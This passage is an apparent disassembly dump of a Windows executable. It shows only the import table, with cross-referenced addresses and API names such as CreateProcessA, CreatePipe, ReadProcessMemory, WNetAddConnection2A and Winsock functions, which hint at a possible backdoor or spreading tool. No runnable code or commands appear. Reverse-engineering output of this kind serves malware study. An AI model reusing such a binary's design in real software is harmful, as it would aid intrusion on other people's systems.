.text:0041C581r ... dword_4F647C dd 77E73CE2h ; DATA XREF: sub_418FE7+60r ; .text:0041C261r ... dword_4F6480 dd 77E668D9h ; DATA XREF: sub_41912E+15Dr ; .text:0043BAC6r dword_4F6484 dd 77E79924h ; DATA XREF: sub_419A5D+13r ; ___crtLCMapStringA+2A5r ... dword_4F6488 dd 77E77CCEh ; DATA XREF: sub_419B2F+Fr ; sub_41C0EF+1Er ... dword_4F648C dd 77E76A2Eh ; DATA XREF: sub_41A5C1+DEr ; .text:0043BAD8r dword_4F6490 dd 77E7FF65h ; DATA XREF: sub_41AA28+5Ar ; .text:0043BADEr dword_4F6494 dd 77EB7624h ; DATA XREF: sub_41AA28+3Dr ; .text:0043BAE4r dword_4F6498 dd 77E6C29Dh ; DATA XREF: sub_41B0B9+1EAr ; .text:0043BAEAr dword_4F649C dd 77E76C1Ah ; DATA XREF: sub_41B964+1CFr ; .text:0043BAF0r dword_4F64A0 dd 77E73196h ; DATA XREF: __CrtIsValidPointer+2Ar ; ___sbh_heap_check+19r ... dword_4F64A4 dd 77E7339Ch ; DATA XREF: __CrtIsValidPointer+12r ; sub_433E30+13r ... dword_4F64A8 dd 77E6C924h ; DATA XREF: sub_41E4D0+93r ; sub_41E4D0+102r ... dword_4F64AC dd 77F6183Eh ; DATA XREF: sub_43BB08r dword_4F64B0 dd 77E76E3Dh ; DATA XREF: _time+9Fr __tzset_lk+5Er ... dword_4F64B4 dd 77E61608h ; DATA XREF: _time+17r .text:0043BB14r dword_4F64B8 dd 77E778C5h ; DATA XREF: __strupr+76r __strupr+B6r ... dword_4F64BC dd 77E777EFh ; DATA XREF: __strupr+62r _tolower+2Cr ... dword_4F64C0 dd 77E6177Ah ; DATA XREF: start+E2r __ioinit+87r ... dword_4F64C4 dd 77E7C938h ; DATA XREF: start+B3r .text:0043BB2Cr dword_4F64C8 dd 77E7C486h ; DATA XREF: start+26r .text:0043BB32r dword_4F64CC dd 77EB36A5h ; DATA XREF: sub_423320+3r ; .text:0043BB38r dword_4F64D0 dd 77E79C3Dh ; DATA XREF: __CrtSetReportFile+3Er ; __CrtSetReportFile+58r ... dword_4F64D4 dd 77E9BD34h ; DATA XREF: __CrtDbgReport+102r ; __CrtDbgReport+2F3r ... dword_4F64D8 dd 77E79908h ; DATA XREF: __mtinitlocks+9r ; __mtinitlocks+16r ... dword_4F64DC dd 77EB8503h ; DATA XREF: __lockerr_exit+9r ; .text:0043BB50r dword_4F64E0 dd 77F5722Fh ; DATA XREF: sub_424440+DAr ; sub_424440+1BBr ... dword_4F64E4 dd 77E79E34h ; DATA XREF: sub_424FD0+4A8r ; sub_424FD0+545r ... dword_4F64E8 dd 77E7980Ah ; DATA XREF: ___sbh_alloc_new_region+A3r ; ___sbh_alloc_new_group+A7r ... dword_4F64EC dd 77E7AC5Eh ; DATA XREF: sub_427AB0+5Fr ; .text:0043BB68r dword_4F64F0 dd 77E76E0Bh ; DATA XREF: sub_427CE0+57r ; sub_427CE0+7Cr ... dword_4F64F4 dd 77E7C726h ; DATA XREF: sub_427CE0+14r ; .text:0043BB74r dword_4F64F8 dd 77E77CC4h ; DATA XREF: __mtinit+64r __getptd+66r ... dword_4F64FC dd 77E79B39h ; DATA XREF: __mtinit+4Ar __getptd+50r ... dword_4F6500 dd 77E7C5B4h ; DATA XREF: __mtinit+9r ; .text:0043BB86r dword_4F6504 dd 77E72B29h ; DATA XREF: __mtterm+17r ; .text:0043BB8Cr dword_4F6508 dd 77F51587h ; DATA XREF: __getptd+8Br ; .text:0043BB92r dword_4F650C dd 77E78B61h ; DATA XREF: __getptd+15r ; __freeptd+1Cr ... dword_4F6510 dd 77E73163h ; DATA XREF: .text:00429F53r ; .text:0043BB9Er align 8 dword_4F6518 dd 71B2ACCBh ; DATA XREF: sub_43B886r align 10h dword_4F6520 dd 77C0167Dh ; DATA XREF: sub_43B910r dword_4F6524 dd 77C0162Dh ; DATA XREF: sub_43B916r dword_4F6528 dd 77C015E3h ; DATA XREF: sub_43B91Cr align 10h dword_4F6530 dd 71AB4122h ; DATA XREF: sub_4155FE+D4r ; .text:0043B904r dword_4F6534 dd 71AB1746h ; DATA XREF: sub_413119+1DEr ; .text:0043B8FEr dword_4F6538 dd 71AB401Ch ; DATA XREF: sub_413119+21Br ; sub_413119+243r ... dword_4F653C dd 71AB1836h ; DATA XREF: sub_40FA71+6Er ; sub_40FAEE+8Er ... dword_4F6540 dd 71AB41DAh ; DATA XREF: sub_40F43A+4Ar ; sub_40FA71+15r ... dword_4F6544 dd 71AB3F8Dh ; DATA XREF: sub_40F43A+5Ar ; .text:0043B8E6r dword_4F6548 dd 71AB155Ah ; DATA XREF: sub_40F43A+8Dr ; sub_41417E+70r ... dword_4F654C dd 71AB3ECEh ; DATA XREF: sub_40F43A+B5r ; .text:0043B8DAr dword_4F6550 dd 71AB5A01h ; DATA XREF: sub_4156E7+20r ; .text:0043B90Ar dword_4F6554 dd 71AB868Dh ; DATA XREF: sub_40F43A+171r ; .text:0043B8CEr dword_4F6558 dd 71AB2BBFh ; DATA XREF: .text:0040EB4Ar ; .text:0043B8C8r dword_4F655C dd 71AB12F8h ; DATA XREF: sub_40E907+27r ; sub_40EA49+27r ... dword_4F6560 dd 71AB1746h ; DATA XREF: sub_40E907+36r ; sub_40EA49+36r ... dword_4F6564 dd 71AB3E5Dh ; DATA XREF: sub_40E907+59r ; sub_40EA49+59r ... dword_4F6568 dd 71AB5690h ; DATA XREF: sub_40E907+6Ar ; sub_40EA49+6Ar ... dword_4F656C dd 71AB1A6Dh ; DATA XREF: sub_40E907+E0r ; sub_40EA49+E0r ... dword_4F6570 dd 71AB3C22h ; DATA XREF: sub_40DB44+AFr ; sub_40E907+45r ... dword_4F6574 dd 71AB1AF4h ; DATA XREF: sub_40D871+12r ; sub_40E907+C3r ... dword_4F6578 dd 71AB1890h ; DATA XREF: sub_40D6D3+4Cr ; sub_40F43A+106r ... dword_4F657C dd 71AB1B7Bh ; DATA XREF: sub_43B892r dword_4F6580 dd 71AB157Eh ; DATA XREF: sub_401CC7+2FB5r ; .text:0043B88Cr dword_4F6584 dd 71AB5DE2h ; DATA XREF: sub_40F43A+C9r ; .text:0043B8D4r dd 0 dd 4E570006h, 64417465h, 6E6F4364h, 7463656Eh, 326E6F69h dd 504D0041h, 6C642E52h, 41006Ch, 53415357h, 656B636Fh dd 4174h, 5F325357h, 642E3233h, 6C6Ch, 6556000Ah, 65755172h dd 61567972h, 4165756Ch, 0 aGetfileversion db 'GetFileVersionInfoA',0 db 1 align 2 aGetfileversi_0 db 'GetFileVersionInfoSizeA',0 aVersion_dll db 'VERSION.dll',0 db '',0 aExitprocess db 'ExitProcess',0 a4_0 db '4',0 aClosehandle db 'CloseHandle',0 aF_2 db 'f',0 aCreateprocessa db 'CreateProcessA',0 align 10h db 7Dh ; } db 1, 47h, 65h aTmodulefilenam db 'tModuleFileNameA',0 align 2 dw 1C1h aGetsystemdirec db 'GetSystemDirectoryA',0 db 56h ; V db 3, 53h, 6Ch db 65h ; e db 65h, 70h, 0 db 6Fh ; o align 2 aCreatethread db 'CreateThread',0 align 4 aG_1 db '',0 aDeletefilea db 'DeleteFileA',0 dw 286h aOpenprocess db 'OpenProcess',0 db 43h ; C db 1, 47h, 65h aTcurrentproces db 'tCurrentProcessId',0 dw 171h aGetlasterror db 'GetLastError',0 align 2 aC_8 db 'C',0 aCopyfilea db 'CopyFileA',0 dw 319h aSetfileattribu db 'SetFileAttributesA',0 align 4 db 5Eh ; ^ db 1, 47h, 65h aTfileattribute db 'tFileAttributesA',0 align 2 dw 17Fh aGetmodulehandl db 'GetModuleHandleA',0 align 2 dw 390h aWaitforsingleo db 'WaitForSingleObject',0 db '`',0 aCreatemutexa db 'CreateMutexA',0 align 4 db 0DFh ; db 1, 47h, 65h aTtickcount db 'tTickCount',0 align 4 db 5Fh ; _ db 3, 54h, 65h aRminatethread db 'rminateThread',0 dw 1D5h aGettemppatha db 'GetTempPathA',0 align 2 dw 26Eh aMovefilea db 'MoveFileA',0 dw 252h aLoadlibrarya db 'LoadLibraryA',0 align 2 dw 1A0h aGetprocaddress db 'GetProcAddress',0 align 4 db 14h db 1, 47h, 65h aTcomputernamea db 'tComputerNameA',0 align 4 db 74h ; t db 1, 47h, 65h aTlocaleinfoa db 'tLocaleInfoA',0 align 2 dw 1E9h aGetversionexa db 'GetVersionExA',0 db '',0 aExitthread db 'ExitThread',0 align 4 db 51h ; Q db 2, 4Ch, 65h aAvecriticalsec db 'aveCriticalSection',0 align 4 aS_41 db '',0 aEntercriticals db 'EnterCriticalSection',0 align 4 db 24h ; $ db 2, 49h, 6Eh aItializecritic db 'itializeCriticalSectionAndSpinCount',0 aB_1 db '',0 aDeletecritical db 'DeleteCriticalSection',0 db 0A4h ; db 3, 57h, 72h aItefile db 'iteFile',0 aO_1 db 'O',0 aCreateeventa db 'CreateEventA',0 align 4 db 0B5h ; db 2, 52h, 65h aAdfile db 'adFile',0 align 4 aS_42 db 'S',0 aCreatefilea db 'CreateFileA',0 dw 35Eh aTerminateproce db 'TerminateProcess',0 align 2 aU_1 db '',0 aDuplicatehandl db 'DuplicateHandle',0 db 42h ; B db 1, 47h, 65h aTcurrentproc_0 db 'tCurrentProcess',0 aE_1 db 'e',0 aCreatepipe db 'CreatePipe',0 align 2 dw 1E0h aGettimeformata db 'GetTimeFormatA',0 align 4 db 47h ; G db 1, 47h, 65h aTdateformata db 'tDateFormatA',0 align 2 dw 163h aGetfilesize db 'GetFileSize',0 db '',0 aFindclose db 'FindClose',0 db '',0 aFiletimetosyst db 'FileTimeToSystemTime',0 align 10h db '',0 aFiletimetoloca db 'FileTimeToLocalFileTime',0 db '',0 aFindnextfilea db 'FindNextFileA',0 db '',0 aFindfirstfilea db 'FindFirstFileA',0 align 4 dd 6553031Bh, 6C694674h, 696F5065h, 7265746Eh, 2EE0000h aSetconsolectrl db 'SetConsoleCtrlHandler',0 dw 38Eh aWaitformulti_0 db 'WaitForMultipleObjects',0 align 10h db 0FCh ; align 2 aGenerateconsol db 'GenerateConsoleCtrlEvent',0 align 4 db 73h ; s db 1, 47h, 65h aTlocaltime db 'tLocalTime',0 align 4 db 0A3h ; db 2, 51h, 75h aEryperformance db 'eryPerformanceCounter',0 dw 2A4h aQueryperform_1 db 'QueryPerformanceFrequency',0 dw 0F8h aFreelibrary db 'FreeLibrary',0 db 59h ; Y db 1, 47h, 65h aTenvironmentva db 'tEnvironmentVariableW',0 dw 216h aHeapfree db 'HeapFree',0 align 2 dw 210h aHeapalloc db 'HeapAlloc',0 dw 1A3h aGetprocessheap db 'GetProcessHeap',0 align 4 dd 69560389h, 61757472h, 6575516Ch, 78457972h, 2B80000h aReadprocessmem db 'ReadProcessMemory',0 dw 1C5h aGetsysteminfo db 'GetSystemInfo',0 dw 0F3h aFormatmessagea db 'FormatMessageA',0 align 4 db 0Ah db 2, 47h, 6Ch aObalunlock db 'obalUnlock',0 align 4 db 3 db 2, 47h, 6Ch aOballock db 'obalLock',0 align 2 dw 371h aUnmapviewoffil db 'UnmapViewOfFile',0 db 68h ; h db 2, 4Dh, 61h aPviewoffile db 'pViewOfFile',0 aT_1 db 'T',0 aCreatefilemapp db 'CreateFileMappingA',0 align 2 dw 31Fh aSetfiletime db 'SetFileTime',0 dd 65470165h, 6C694674h, 6D695465h, 0BC0065h aExpandenvironm db 'ExpandEnvironmentStringsA',0 dw 394h aWidechartomult db 'WideCharToMultiByte',0 db 75h ; u db 2, 4Dh, 75h aLtibytetowidec db 'ltiByteToWideChar',0 dw 3C3h aLstrcmpia db 'lstrcmpiA',0 dw 15Ah aGetexitcodepro db 'GetExitCodeProcess',0 align 4 db 91h ; db 2, 50h, 65h aEknamedpipe db 'ekNamedPipe',0 db 78h ; x db 1, 47h, 65h aTlogicaldrives db 'tLogicalDrives',0 align 4 db 4 db 2, 47h, 6Ch aObalmemorystat db 'obalMemoryStatus',0 align 2 dw 236h aIsbadwriteptr db 'IsBadWritePtr',0 dw 233h aIsbadreadptr db 'IsBadReadPtr',0 align 2 dw 220h aHeapvalidate db 'HeapValidate',0 align 2 dw 2D7h aRtlunwind db 'RtlUnwind',0 dw 1E2h aGettimezoneinf db 'GetTimeZoneInformation',0 align 4 db 0C8h ; db 1, 47h, 65h aTsystemtime db 'tSystemTime',0 db 28h ; ( db 2, 49h, 6Eh aTerlockeddecre db 'terlockedDecrement',0 align 10h db 2Ch ; , db 2, 49h, 6Eh aTerlockedincre db 'terlockedIncrement',0 align 4 db 0B7h ; db 1, 47h, 65h aTstartupinfoa db 'tStartupInfoA',0 dw 110h aGetcommandline db 'GetCommandLineA',0 db 0E8h ; db 1, 47h, 65h aTversion db 'tVersion',0 align 2 db 'x',0 aDebugbreak db 'DebugBreak',0 align 4 db 0B9h ; db 1, 47h, 65h aTstdhandle db 'tStdHandle',0 align 4 db 8Dh ; db 2, 4Fh, 75h aTputdebugstrin db 'tputDebugStringA',0 align 2 dw 223h aInitializecrit db 'InitializeCriticalSection',0 db '',0 aFatalappexita db 'FatalAppExitA',0 dw 21Ah aHeaprealloc db 'HeapReAlloc',0 dd 69560383h, 61757472h, 6572466Ch, 3810065h, 74726956h dd 416C6175h, 636F6C6Ch, 1580000h aGetenvironment db 'GetEnvironmentVariableA',0 db 14h db 2, 48h, 65h aApdestroy db 'apDestroy',0 dw 212h aHeapcreate db 'HeapCreate',0 align 4 db 46h ; F db 1, 47h, 65h aTcurrentthread db 'tCurrentThreadId',0 align 2 dw 366h aTlssetvalue db 'TlsSetValue',0 db 63h ; c db 3, 54h, 6Ch aSalloc db 'sAlloc',0 align 4 db 64h ; d db 3, 54h, 6Ch aSfree db 'sFree',0 dw 328h aSetlasterror db 'SetLastError',0 align 2 dw 365h aTlsgetvalue db 'TlsGetValue',0 db 45h ; E db 1, 47h, 65h aTcurrentthre_0 db 'tCurrentThread',0 align 4 db 4 db 1, 47h, 65h aTcpinfo db 'tCPInfo',0 db 0FDh ; align 2 aGetacp db 'GetACP',0 align 2 dw 193h aGetoemcp db 'GetOEMCP',0 align 2 dw 2A7h aRaiseexception db 'RaiseException',0 align 4 db 44h ; D db 2, 4Ch, 43h aMapstringa db 'MapStringA',0 align 4 db 45h ; E db 2, 4Ch, 43h aMapstringw db 'MapStringW',0 align 4 db 6Eh ; n db 3, 55h, 6Eh aHandledexcepti db 'handledExceptionFilter',0 align 4 db 0F6h ; align 2 aFreeenvironmen db 'FreeEnvironmentStringsA',0 dw 0F7h aFreeenvironm_0 db 'FreeEnvironmentStringsW',0 db 55h ; U db 1, 47h, 65h aTenvironmentst db 'tEnvironmentStrings',0 db 57h ; W db 1, 47h, 65h aTenvironment_0 db 'tEnvironmentStringsW',0 align 2 dw 324h aSethandlecount db 'SetHandleCount',0 align 10h dd 65470166h, 6C694674h, 70795465h, 3370065h, 53746553h dd 61486474h, 656C646Eh, 0EE0000h, 73756C46h, 6C694668h dd 66754265h, 73726566h, 1BA0000h, 53746547h, 6E697274h dd 70795467h, 4165h, 654701BDh, 72745374h, 54676E69h, 57657079h dd 34A0000h aSetunhandledex db 'SetUnhandledExceptionFilter',0 dd 73490230h, 43646142h, 5065646Fh, 7274h, 73490241h, 696C6156h dd 636F4C64h, 656C61h, 7349023Fh, 696C6156h, 646F4364h dd 67615065h, 0AF0065h aEnumsystemloca db 'EnumSystemLocalesA',0 align 4 db 0E3h ; db 1, 47h, 65h aTuserdefaultlc db 'tUserDefaultLCID',0 align 2 dw 310h aSetendoffile db 'SetEndOfFile',0 align 2 dw 175h aGetlocaleinfow db 'GetLocaleInfoW',0 align 4 db ':',0 aComparestringa db 'CompareStringA',0 align 2 db ';',0 aComparestringw db 'CompareStringW',0 align 4 db 13h db 3, 53h, 65h aTenvironment_1 db 'tEnvironmentVariableA',0 aKernel32_dll_0 db 'KERNEL32.dll',0 align 10h _idata ends ; Section 6. (virtual address 000FD000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 000FC400 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 4FD000h align 2000h _idata2 ends end start